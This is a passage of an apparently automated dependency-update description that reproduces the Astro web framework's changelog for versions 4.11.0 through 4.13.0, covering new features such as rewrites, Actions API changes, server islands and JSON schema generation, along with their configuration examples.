`astro.config` file: ```diff // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ - vite: { - ssr: { - external: ["node:async_hooks"] - } - } }) ``` ```` ### [`v4.13.0`](https://github.com/withastro/astro/releases/tag/astro%404.13.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.12.3...astro@4.13.0) ##### Minor Changes - [#&#8203;11507](https://github.com/withastro/astro/pull/11507) [`a62345f`](https://github.com/withastro/astro/commit/a62345fd182ae4886d586c8406ed8f3e5f942730) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds color-coding to the console output during the build to highlight slow pages. Pages that take more than 500 milliseconds to render will have their build time logged in red. This change can help you discover pages of your site that are not performant and may need attention. - [#&#8203;11379](https://github.com/withastro/astro/pull/11379) [`e5e2d3e`](https://github.com/withastro/astro/commit/e5e2d3ed3076f10b4645f011b13888d5fa16e92e) Thanks [@&#8203;alexanderniebuhr](https://github.com/alexanderniebuhr)! - The `experimental.contentCollectionJsonSchema` feature introduced behind a flag in [v4.5.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#450) is no longer experimental and is available for general use. If you are working with collections of type `data`, Astro will now auto-generate JSON schema files for your editor to get IntelliSense and type-checking. A separate file will be created for each data collection in your project based on your collections defined in `src/content/config.ts` using a library called [`zod-to-json-schema`](https://github.com/StefanTerdell/zod-to-json-schema). This feature requires you to manually set your schema's file path as the value for `$schema` in each data entry file of the collection: ```json title="src/content/authors/armand.json" ins={2} { "$schema": "../../../.astro/collections/authors.schema.json", "name": "Armand", "skills": ["Astro", "Starlight"] } ``` Alternatively, you can set this value in your editor settings. For example, to set this value in [VSCode's `json.schemas` setting](https://code.visualstudio.com/docs/languages/json#_json-schemas-and-settings), provide the path of files to match and the location of your JSON schema: ```json { "json.schemas": [ { "fileMatch": ["/src/content/authors/**"], "url": "./.astro/collections/authors.schema.json" } ] } ``` If you were previously using this feature, please remove the experimental flag from your Astro config: ```diff import { defineConfig } from 'astro' export default defineConfig({ - experimental: { - contentCollectionJsonSchema: true - } }) ``` If you have been waiting for stabilization before using JSON Schema generation for content collections, you can now do so. Please see [the content collections guide](https://docs.astro.build/en/guides/content-collections/#enabling-json-schema-generation) for more about this feature. - [#&#8203;11542](https://github.com/withastro/astro/pull/11542) [`45ad326`](https://github.com/withastro/astro/commit/45ad326932971b44630a32d9092c9505f24f42f8) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The `experimental.rewriting` feature introduced behind a flag in [v4.8.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#480) is no longer experimental and is available for general use. `Astro.rewrite()` and `context.rewrite()` allow you to render a different page without changing the URL in the browser. Unlike using a redirect, your visitor is kept on the original page they visited. Rewrites can be useful for showing the same content at multiple paths (e.g. /products/shoes/men/ and /products/men/shoes/) without needing to maintain two identical source files. Rewrites are supported in Astro pages, endpoints, and middleware. Return `Astro.rewrite()` in the frontmatter of a `.astro` page component to display a different page's content, such as fallback localized content: ```astro --- // src/pages/es-cu/articles/introduction.astro return Astro.rewrite("/es/articles/introduction") --- ``` Use `context.rewrite()` in endpoints, for example to reroute to a different page: ```js // src/pages/api.js export function GET(context) { if (!context.locals.allowed) { return context.rewrite('/'); } } ``` The middleware `next()` function now accepts a parameter with the same type as the `rewrite()` function. For example, with `next("/")`, you can call the next middleware function with a new `Request`. ```js // src/middleware.js export function onRequest(context, next) { if (!context.cookies.get('allowed')) { return next('/'); // new signature } return next(); } ``` If you were previously using this feature, please remove the experimental flag from your Astro config: ```diff // astro.config.mjs export default defineConfig({ - experimental: { - rewriting: true - } }) ``` If you have been waiting for stabilization before using rewrites in Astro, you can now do so. Please see [the routing guide in docs](https://docs.astro.build/en/guides/routing/#rewrites) for more about using this feature. ### [`v4.12.3`](https://github.com/withastro/astro/releases/tag/astro%404.12.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.12.2...astro@4.12.3) ##### Patch Changes - [#&#8203;11509](https://github.com/withastro/astro/pull/11509) [`dfbca06`](https://github.com/withastro/astro/commit/dfbca06dda674c64c7010db2f4de951496a1e631) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Excludes hoisted scripts and styles from Astro components imported with `?url` or `?raw` - [#&#8203;11561](https://github.com/withastro/astro/pull/11561) [`904f1e5`](https://github.com/withastro/astro/commit/904f1e535aeb7a14ba7ce07c3130e25f3e708266) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Uses the correct pageSize default in `page.size` JSDoc comment - [#&#8203;11571](https://github.com/withastro/astro/pull/11571) [`1c3265a`](https://github.com/withastro/astro/commit/1c3265a8c9c0b1b1bd597f756b63463146bacc3a) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - **BREAKING CHANGE to the experimental Actions API only.** Install the latest `@astrojs/react` integration as well if you're using React 19 features. Make `.safe()` the default return value for actions. This means `{ data, error }` will be returned when calling an action directly. If you prefer to get the data while allowing errors to throw, chain the `.orThrow()` modifier. ```ts import { actions } from 'astro:actions'; // Before const { data, error } = await actions.like.safe(); // After const { data, error } = await actions.like(); // Before const newLikes = await actions.like(); // After const newLikes = await actions.like.orThrow(); ``` #### Migration ``` To migrate your existing action calls: - Remove `.safe` from existing _safe_ action calls - Add `.orThrow` to existing _unsafe_ action calls ``` - [#&#8203;11546](https://github.com/withastro/astro/pull/11546) [`7f26de9`](https://github.com/withastro/astro/commit/7f26de906e87f1e8973a1f84399f23e36e506bb3) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Remove "SSR Only" mention in `Astro.redirect` inline documentation and update reference link. - [#&#8203;11525](https://github.com/withastro/astro/pull/11525) [`8068131`](https://github.com/withastro/astro/commit/80681318c6cb0f612fcb5188933fdd20a8f474a3) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where the build was failing when `experimental.actions` was enabled, an adapter was in use, and there were not actions inside the user code base. - [#&#8203;11574](https://github.com/withastro/astro/pull/11574) [`e3f29d4`](https://github.com/withastro/astro/commit/e3f29d416a2e0a0b5328ae1075b12575260dddfd) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes line with the error not being properly highlighted in the error overlay - [#&#8203;11570](https://github.com/withastro/astro/pull/11570) [`84189b6`](https://github.com/withastro/astro/commit/84189b6511dc2a14bcfe608696f56a64c2046f39) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - **BREAKING CHANGE to the experimental Actions API only.** Install the latest `@astrojs/react` integration as well if you're using React 19 features. Updates the Astro Actions fallback to support `action={actions.name}` instead of using `getActionProps().` This will submit a form to the server in zero-JS scenarios using a search parameter: ```astro --- import { actions } from 'astro:actions'; --- <form action={actions.logOut}> <!--output: action="?_astroAction=logOut"--> <button>Log Out</button> </form> ``` You may also construct form action URLs using string concatenation, or by using the `URL()` constructor, with the an action's `.queryString` property: ```astro --- import { actions } from 'astro:actions'; const confirmationUrl = new URL('/confirmation', Astro.url); confirmationUrl.search = actions.queryString; --- <form method="POST" action={confirmationUrl.pathname}> <button>Submit</button> </form> ``` #### Migration ```` `getActionProps()` is now deprecated. To use the new fallback pattern, remove the `getActionProps()` input from your form and pass your action function to the form `action` attribute: ```diff --- import { actions, - getActionProps, } from 'astro:actions'; --- + <form method="POST" action={actions.logOut}> - <form method="POST"> - <input {...getActionProps(actions.logOut)} /> <button>Log Out</button> </form> ``` ```` - [#&#8203;11559](https://github.com/withastro/astro/pull/11559) [`1953dbb`](https://github.com/withastro/astro/commit/1953dbbd41d2d7803837601a9e192654f02275ef) Thanks [@&#8203;bryanwood](https://github.com/bryanwood)! - Allows actions to return falsy values without an error - [#&#8203;11553](https://github.com/withastro/astro/pull/11553) [`02c85b5`](https://github.com/withastro/astro/commit/02c85b541241a07db45bf9e15717e111104898e5) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue in content collection caching, where two documents with the same contents were generating an error during the build. - [#&#8203;11548](https://github.com/withastro/astro/pull/11548) [`602c5bf`](https://github.com/withastro/astro/commit/602c5bf05de4fe5ec1ea97f8e10455485aceb05f) Thanks [@&#8203;TheOtterlord](https://github.com/TheOtterlord)! - Fixes `astro add` for packages with only prerelease versions - [#&#8203;11566](https://github.com/withastro/astro/pull/11566) [`0dcef3a`](https://github.com/withastro/astro/commit/0dcef3ab171bd7f81c2f99e9366db3724aa7091b) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes DomException errors not being handled properly - [#&#8203;11529](https://github.com/withastro/astro/pull/11529) [`504c383`](https://github.com/withastro/astro/commit/504c383e20dfb5d8eb0825a70935f221b43577b2) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix server islands with trailingSlash: always ### [`v4.12.2`](https://github.com/withastro/astro/releases/tag/astro%404.12.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.12.1...astro@4.12.2) ##### Patch Changes - [#&#8203;11505](https://github.com/withastro/astro/pull/11505) [`8ff7658`](https://github.com/withastro/astro/commit/8ff7658001c2c7bedf6adcddf7a9341196f2d376) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Enhances the dev server logging when rewrites occur during the lifecycle or rendering. The dev server will log the status code **before** and **after** a rewrite: ```shell 08:16:48 [404] (rewrite) /foo/about 200ms 08:22:13 [200] (rewrite) /about 23ms ``` - [#&#8203;11506](https://github.com/withastro/astro/pull/11506) [`026e8ba`](https://github.com/withastro/astro/commit/026e8baf3323e99f96530999fd32a0a9b305854d) Thanks [@&#8203;sarah11918](https://github.com/sarah11918)! - Fixes typo in documenting the `slot="fallback"` attribute for Server Islands experimental feature. - [#&#8203;11508](https://github.com/withastro/astro/pull/11508) [`ca335e1`](https://github.com/withastro/astro/commit/ca335e1dc09bc83d3f8f5b9dd54f116bcb4881e4) Thanks [@&#8203;cramforce](https://github.com/cramforce)! - Escapes HTML in serialized props - [#&#8203;11501](https://github.com/withastro/astro/pull/11501) [`4db78ae`](https://github.com/withastro/astro/commit/4db78ae046a39628dfe8d68e776706559d4f8ba7) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds the missing export for accessing the `getFallback()` function of the client site router. ### [`v4.12.1`](https://github.com/withastro/astro/releases/tag/astro%404.12.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.12.0...astro@4.12.1) ##### Patch Changes - [#&#8203;11486](https://github.com/withastro/astro/pull/11486) [`9c0c849`](https://github.com/withastro/astro/commit/9c0c8492d987cd9214ed53e71fb29599c206966a) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new function called `addClientRenderer` to the Container API. This function should be used when rendering components using the `client:*` directives. The `addClientRenderer` API must be used *after* the use of the `addServerRenderer`: ```js const container = await experimental_AstroContainer.create(); container.addServerRenderer({ renderer }); container.addClientRenderer({ name: '@&#8203;astrojs/react', entrypoint: '@&#8203;astrojs/react/client.js' }); const response = await container.renderToResponse(Component); ``` - [#&#8203;11500](https://github.com/withastro/astro/pull/11500) [`4e142d3`](https://github.com/withastro/astro/commit/4e142d38cbaf0938be7077c88e32b38a6b60eaed) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes inferRemoteSize type not working - [#&#8203;11496](https://github.com/withastro/astro/pull/11496) [`53ccd20`](https://github.com/withastro/astro/commit/53ccd206f9bfe5f6a0d888d199776b4043f63f58) Thanks [@&#8203;alfawal](https://github.com/alfawal)! - Hide the dev toolbar on `window.print()` (CTRL + P) ### [`v4.12.0`](https://github.com/withastro/astro/releases/tag/astro%404.12.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.6...astro@4.12.0) ##### Minor Changes - [#&#8203;11341](https://github.com/withastro/astro/pull/11341) [`49b5145`](https://github.com/withastro/astro/commit/49b5145158a603b9bb951bf914a6a9780c218704) Thanks [@&#8203;madcampos](https://github.com/madcampos)! - Adds support for [Shiki's `defaultColor` option](https://shiki.style/guide/dual-themes#without-default-color). This option allows you to override the values of a theme's inline style, adding only CSS variables to give you more flexibility in applying multiple color themes. Configure `defaultColor: false` in your Shiki config to apply throughout your site, or pass to Astro's built-in `<Code>` component to style an individual code block. ```js title="astro.config.mjs" import { defineConfig } from 'astro/config'; export default defineConfig({ markdown: { shikiConfig: { themes: { light: 'github-light', dark: 'github-dark', }, defaultColor: false, }, }, }); ``` ```astro --- import { Code } from 'astro:components'; --- <Code code={`const useMyColors = true`} lang="js" defaultColor={false} /> ``` - [#&#8203;11304](https://github.com/withastro/astro/pull/11304) [`2e70741`](https://github.com/withastro/astro/commit/2e70741362afc1e7d03c8b2a9d8edb8466dfe9c3) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Refactors the type for integration hooks so that integration authors writing custom integration hooks can now allow runtime interactions between their integration and other integrations. This internal change should not break existing code for integration authors. To declare your own hooks for your integration, extend the `Astro.IntegrationHooks` interface: ```ts // your-integration/types.ts declare global { namespace Astro { interface IntegrationHooks { 'myLib:eventHappened': (your: string, parameters: number) => Promise<void>; } } } ``` Call your hooks on all other integrations installed in a project at the appropriate time. For example, you can call your hook on initialization before either the Vite or Astro config have resolved: ```ts // your-integration/index.ts import './types.ts'; export default (): AstroIntegration => { return { name: 'your-integration', hooks: { 'astro:config:setup': async ({ config }) => { for (const integration of config.integrations) { await integration.hooks['myLib:eventHappened'].?('your values', 123); } }, } } } ``` Other integrations can also now declare your hooks: ```ts // other-integration/index.ts import 'your-integration/types.ts'; export default (): AstroIntegration => { return { name: 'other-integration', hooks: { 'myLib:eventHappened': async (your, values) => { // ... }, }, }; }; ``` - [#&#8203;11305](https://github.com/withastro/astro/pull/11305) [`d495df5`](https://github.com/withastro/astro/commit/d495df5361e16ebdf83dea6e2de004f438e698c4) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Experimental Server Islands Server Islands allow you to specify components that should run on the server, allowing the rest of the page to be more aggressively cached, or even generated statically. Turn any `.astro` component into a server island by adding the `server:defer` directive and optionally, fallback placeholder content: ```astro --- import Avatar from '../components/Avatar.astro'; import GenericUser from '../components/GenericUser.astro'; --- <header> <h1>Page Title</h1> <div class="header-right"> <Avatar server:defer> <GenericUser slot="fallback" /> </Avatar> </div> </header> ``` The `server:defer` directive can be used on any Astro component in a project using `hybrid` or `server` mode with an adapter. There are no special APIs needed inside of the island. Enable server islands by adding the experimental flag to your Astro config with an appropriate `output` mode and adatper: ```js import { defineConfig } from 'astro/config'; import netlify from '@&#8203;astrojs/netlify'; export default defineConfig({ output: 'hybrid', adapter: netlify(), experimental { serverIslands: true, }, }); ``` For more information, see the [server islands documentation](https://docs.astro.build/en/reference/configuration-reference/#experimentalserverislands). - [#&#8203;11482](https://github.com/withastro/astro/pull/11482) [`7c9ed71`](https://github.com/withastro/astro/commit/7c9ed71bf1e13a0c825ba67946b6307d06f77233) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a `--noSync` parameter to the `astro check` command to skip the type-gen step. This can be useful when running `astro check` inside packages that have Astro components, but are not Astro projects - [#&#8203;11098](https://github.com/withastro/astro/pull/11098) [`36e30a3`](https://github.com/withastro/astro/commit/36e30a33092c32c2de1deac316f49660247902b0) Thanks [@&#8203;itsmatteomanf](https://github.com/itsmatteomanf)! - Adds a new `inferRemoteSize()` function that can be used to infer the dimensions of a remote image. Previously, the ability to infer these values was only available by adding the \[`inferSize`] attribute to the `<Image>` and `<Picture>` components or `getImage()`. Now, you can also access this data outside of these components. This is useful for when you need to know the dimensions of an image for styling purposes or to calculate different densities for responsive images. ```astro --- import { inferRemoteSize, Image } from 'astro:assets'; const imageUrl = 'https://...'; const { width, height } = await inferRemoteSize(imageUrl); --- <Image src={imageUrl} width={width / 2} height={height} densities={[1.5, 2]} /> ``` - [#&#8203;11391](https://github.com/withastro/astro/pull/11391) [`6f9b527`](https://github.com/withastro/astro/commit/6f9b52710567f3bec7939a98eb8c76f5ea0b2f91) Thanks [@&#8203;ARipeAppleByYoursTruly](https://github.com/ARipeAppleByYoursTruly)! - Adds Shiki's [`defaultColor`](https://shiki.style/guide/dual-themes#without-default-color) option to the `<Code />` component, giving you more control in applying multiple themes - [#&#8203;11176](https://github.com/withastro/astro/pull/11176) [`a751458`](https://github.com/withastro/astro/commit/a75145871b7bb9277584066e1f625df2aaabebce) Thanks [@&#8203;tsawada](https://github.com/tsawada)! - Adds two new values to the [pagination `page` prop](https://docs.astro.build/en/reference/api-reference/#the-pagination-page-prop): `page.first` and `page.last` for accessing the URLs of the first and last pages. ##### Patch Changes - [#&#8203;11477](https://github.com/withastro/astro/pull/11477) [`7e9c4a1`](https://github.com/withastro/astro/commit/7e9c4a134c6ea7c8b92ea00038c0845b58c02bc5) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the development server was emitting a 404 status code when the user uses a rewrite that emits a 200 status code. - [#&#8203;11479](https://github.com/withastro/astro/pull/11479) [`ca969d5`](https://github.com/withastro/astro/commit/ca969d538a6a8d64573f426b8a87ebd7e434bd71) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where invalid `astro:env` variables at runtime would not throw correctly - [#&#8203;11489](https://github.com/withastro/astro/pull/11489) [`061f1f4`](https://github.com/withastro/astro/commit/061f1f4d0cb306efd0c768645439111aec765c76) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Move root inside the manifest and make serialisable - [#&#8203;11415](https://github.com/withastro/astro/pull/11415) [`e9334d0`](https://github.com/withastro/astro/commit/e9334d05ca88ed6df1becc1512c673e20414bf47) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Refactors how `sync` works and when it's called. Fixes an issue with `astro:env` types in dev not being generated - [#&#8203;11478](https://github.com/withastro/astro/pull/11478) [`3161b67`](https://github.com/withastro/astro/commit/3161b6789c57a3bb740ed117205dc55997eb74ea) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Supports importing Astro components with Vite queries, like `?url`, `?raw`, and `?direct` - [#&#8203;11491](https://github.com/withastro/astro/pull/11491) [`fe3afeb`](https://github.com/withastro/astro/commit/fe3afebd652289ec1b65eed983e804dbb37ed092) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix for Server Islands in Vercel adapter Vercel, and probably other adapters only allow pre-defined routes. This makes it so that the `astro:build:done` hook includes the `_server-islands/` route as part of the route data, which is used to configure available routes. - [#&#8203;11483](https://github.com/withastro/astro/pull/11483) [`34f9c25`](https://github.com/withastro/astro/commit/34f9c25740f8eaae0d5e2a2b685b83556d23e63e) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes Astro not working on low versions of Node 18 and 20 - Updated dependencies \[[`49b5145`](https://github.com/withastro/astro/commit/49b5145158a603b9bb951bf914a6a9780c218704)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;5.2.0 ### [`v4.11.6`](https://github.com/withastro/astro/releases/tag/astro%404.11.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.5...astro@4.11.6) ##### Patch Changes - [#&#8203;11459](https://github.com/withastro/astro/pull/11459) [`bc2e74d`](https://github.com/withastro/astro/commit/bc2e74de384776caa252fd47dbeda895c0488c11) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes false positive audit warnings on elements with the role "tabpanel". - [#&#8203;11472](https://github.com/withastro/astro/pull/11472) [`cb4e6d0`](https://github.com/withastro/astro/commit/cb4e6d09deb7507058115a3fd2a567019a501e4d) Thanks [@&#8203;delucis](https://github.com/delucis)! - Avoids targeting all files in the `src/` directory for eager optimization by Vite. After this change, only JSX, Vue, Svelte, and Astro components get scanned for early optimization. - [#&#8203;11387](https://github.com/withastro/astro/pull/11387) [`b498461`](https://github.com/withastro/astro/commit/b498461e277bffb0abe21b59a94b1e56a8c69d47) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes prerendering not removing unused dynamic imported chunks - [#&#8203;11437](https://github.com/withastro/astro/pull/11437) [`6ccb30e`](https://github.com/withastro/astro/commit/6ccb30e610eed34c2cc2c275485a8ac45c9b6b9e) Thanks [@&#8203;NuroDev](https://github.com/NuroDev)! - Fixes a case where Astro's config `experimental.env.schema` keys did not allow numbers. Numbers are still not allowed as the first character to be able to generate valid JavaScript identifiers - [#&#8203;11439](https://github.com/withastro/astro/pull/11439) [`08baf56`](https://github.com/withastro/astro/commit/08baf56f328ce4b6814a7f90089c0b3398d8bbfe) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Expands the `isInputError()` utility from `astro:actions` to accept errors of any type. This should now allow type narrowing from a try / catch block. ```ts // example.ts import { actions, isInputError } from 'astro:actions'; try { await actions.like(new FormData()); } catch (error) { if (isInputError(error)) { console.log(error.fields); } } ``` - [#&#8203;11452](https://github.com/withastro/astro/pull/11452) [`0e66849`](https://github.com/withastro/astro/commit/0e6684983b9b24660a8fef83fe401ec1d567378a) Thanks [@&#8203;FugiTech](https://github.com/FugiTech)! - Fixes an issue where using .nullish() in a formdata Astro action would always parse as a string - [#&#8203;11438](https://github.com/withastro/astro/pull/11438) [`619f07d`](https://github.com/withastro/astro/commit/619f07db701ebab2d2f2598dd2dcf93ba1e5719c) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Exposes utility types from `astro:actions` for the `defineAction` handler (`ActionHandler`) and the `ActionError` code (`ActionErrorCode`). - [#&#8203;11456](https://github.com/withastro/astro/pull/11456) [`17e048d`](https://github.com/withastro/astro/commit/17e048de0e79d76b933d128676be2388954b419e) Thanks [@&#8203;RickyC0626](https://github.com/RickyC0626)! - Fixes `astro dev --open` unexpected behavior that spawns a new tab every time a config file is saved - [#&#8203;11337](https://github.com/withastro/astro/pull/11337) [`0a4b31f`](https://github.com/withastro/astro/commit/0a4b31ffeb41ad1dfb3141384e22787763fcae3d) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new property `experimental.env.validateSecrets` to allow validating private variables on the server. By default, this is set to `false` and only public variables are checked on start. If enabled, secrets will also be checked on start (dev/build modes). This is useful for example in some CIs to make sure all your secrets are correctly set before deploying. ```js // astro.config.mjs import { defineConfig, envField } from 'astro/config'; export default defineConfig({ experimental: { env: { schema: { // ... }, validateSecrets: true, }, }, }); ``` - [#&#8203;11443](https://github.com/withastro/astro/pull/11443) [`ea4bc04`](https://github.com/withastro/astro/commit/ea4bc04e9489c456e2b4b5dbd67d5e4cf3f89f97) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Expose new `ActionReturnType` utility from `astro:actions`. This infers the return type of an action by passing `typeof actions.name` as a type argument. This example defines a `like` action that returns `likes` as an object: ```ts // actions/index.ts import { defineAction } from 'astro:actions'; export const server = { like: defineAction({ handler: () => { /* ... */ return { likes: 42 }; }, }), }; ``` In your client code, you can infer this handler return value with `ActionReturnType`: ```ts // client.ts import { actions, ActionReturnType } from 'astro:actions'; type LikesResult = ActionReturnType<typeof actions.like>; // -> { likes: number } ``` - [#&#8203;11436](https://github.com/withastro/astro/pull/11436) [`7dca68f`](https://github.com/withastro/astro/commit/7dca68ff2e0f089a3fd090650ee05b1942792fed) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes `astro:actions` autocompletion for the `defineAction` `accept` property - [#&#8203;11455](https://github.com/withastro/astro/pull/11455) [`645e128`](https://github.com/withastro/astro/commit/645e128537f1f20da6703afc115d06371d7da5dd) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves `astro:env` invalid variables errors ### [`v4.11.5`](https://github.com/withastro/astro/releases/tag/astro%404.11.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.4...astro@4.11.5) ##### Patch Changes - [#&#8203;11408](https://github.com/withastro/astro/pull/11408) [`b9e906f`](https://github.com/withastro/astro/commit/b9e906f8e75444739aa259b62489d9f5749260b9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Revert change to how boolean attributes work ### [`v4.11.4`](https://github.com/withastro/astro/releases/tag/astro%404.11.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.3...astro@4.11.4) ##### Patch Changes - [#&#8203;11362](https://github.com/withastro/astro/pull/11362) [`93993b7`](https://github.com/withastro/astro/commit/93993b77cf4915b4c0d245df9ecbf2265f5893e7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where creating manually the i18n middleware could break the logic of the functions of the virtual module `astro:i18n` - [#&#8203;11349](https://github.com/withastro/astro/pull/11349) [`98d9ce4`](https://github.com/withastro/astro/commit/98d9ce41f20c8bf024c937e8bde80d3c3dbbed99) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro didn't throw an error when `Astro.rewrite` was used without providing the experimental flag - [#&#8203;11352](https://github.com/withastro/astro/pull/11352) [`a55ee02`](https://github.com/withastro/astro/commit/a55ee0268e1ca22597e9b5e6d1f24b4f28ad978b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the rewrites didn't update the status code when using manual i18n routing. - [#&#8203;11388](https://github.com/withastro/astro/pull/11388) [`3a223b4`](https://github.com/withastro/astro/commit/3a223b4811708cc93ebb27706118c1723e1fc013) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Adjusts the color of punctuations in error overlay. - [#&#8203;11369](https://github.com/withastro/astro/pull/11369) [`e6de11f`](https://github.com/withastro/astro/commit/e6de11f4a941e29123da3714e5b8f17d25744f0f) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes attribute rendering for non-boolean attributes with boolean values ### [`v4.11.3`](https://github.com/withastro/astro/releases/tag/astro%404.11.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.2...astro@4.11.3) ##### Patch Changes - [#&#8203;11347](https://github.com/withastro/astro/pull/11347) [`33bdc54`](https://github.com/withastro/astro/commit/33bdc5472929f72fa8e39624598bf929c48e60c0) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes installed packages detection when running `astro check` - [#&#8203;11327](https://github.com/withastro/astro/pull/11327) [`0df8142`](https://github.com/withastro/astro/commit/0df81422a81c8f8900684d100e9b8f26365fa0b1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue with the container APIs where a runtime error was thrown during the build, when using `pnpm` as package manager. ### [`v4.11.2`](https://github.com/withastro/astro/releases/tag/astro%404.11.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.1...astro@4.11.2) ##### Patch Changes - [#&#8203;11335](https://github.com/withastro/astro/pull/11335) [`4c4741b`](https://github.com/withastro/astro/commit/4c4741b42dc531403f7b9647bd51951d0cdb8f5b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Reverts [#&#8203;11292](https://github.com/withastro/astro/pull/11292), which caused a regression to the input type - [#&#8203;11326](https://github.com/withastro/astro/pull/11326) [`41121fb`](https://github.com/withastro/astro/commit/41121fbe00e144d4d93835811e1c4349664d9003) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where running `astro sync` when using the experimental `astro:env` feature would fail if environment variables were missing - [#&#8203;11338](https://github.com/withastro/astro/pull/11338) [`9752a0b`](https://github.com/withastro/astro/commit/9752a0b27526270fd0066f3db7049e9ae6af1ef8) Thanks [@&#8203;zaaakher](https://github.com/zaaakher)! - Fixes svg icon margin in devtool tooltip title to look coherent in `rtl` and `ltr` layouts - [#&#8203;11331](https://github.com/withastro/astro/pull/11331) [`f1b78a4`](https://github.com/withastro/astro/commit/f1b78a496034d53b0e9dfc276a4a1b1d691772c4) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Removes `resolve` package and simplify internal resolve check - [#&#8203;11339](https://github.com/withastro/astro/pull/11339) [`8fdbf0e`](https://github.com/withastro/astro/commit/8fdbf0e45beffdae3da1e7f36797575c92f8a0ba) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Remove non-fatal errors from telemetry Previously we tracked non-fatal errors in telemetry to get a good idea of the types of errors that occur in `astro dev`. However this has become noisy over time and results in a lot of data that isn't particularly useful. This removes those non-fatal errors from being tracked. ### [`v4.11.1`](https://github.com/withastro/astro/releases/tag/astro%404.11.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.11.0...astro@4.11.1) ##### Patch Changes - [#&#8203;11308](https://github.com/withastro/astro/pull/11308) [`44c61dd`](https://github.com/withastro/astro/commit/44c61ddfd85f1c23f8cec8caeaa5e25897121996) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where custom `404.astro` and `500.astro` were not returning the correct status code when rendered inside a rewriting cycle. - [#&#8203;11302](https://github.com/withastro/astro/pull/11302) [`0622567`](https://github.com/withastro/astro/commit/06225673269201044358788f2a81dbe13912adce) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue with the view transition router when redirecting to an URL with different origin. - Updated dependencies \[[`b6afe6a`](https://github.com/withastro/astro/commit/b6afe6a782f68f4a279463a144baaf99cb96b6dc), [`41064ce`](https://github.com/withastro/astro/commit/41064cee78c1cccd428f710a24c483aeb275fd95)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;5.1.1 - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.4.1 ### [`v4.11.0`](https://github.com/withastro/astro/releases/tag/astro%404.11.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.10.3...astro@4.11.0) ##### Minor Changes - [#&#8203;11197](https://github.com/withastro/astro/pull/11197) [`4b46bd9`](https://github.com/withastro/astro/commit/4b46bd9bdcbb302f294aa27b8aa07099e104fa17) Thanks [@&#8203;braebo](https://github.com/braebo)! - Adds [`ShikiTransformer`](https://shiki.style/packages/transformers#shikijs-transformers) support to the [`<Code />`](https://docs.astro.build/en/reference/api-reference/#code-) component with a new `transformers` prop. Note that `transformers` only applies classes and you must provide your own CSS rules to 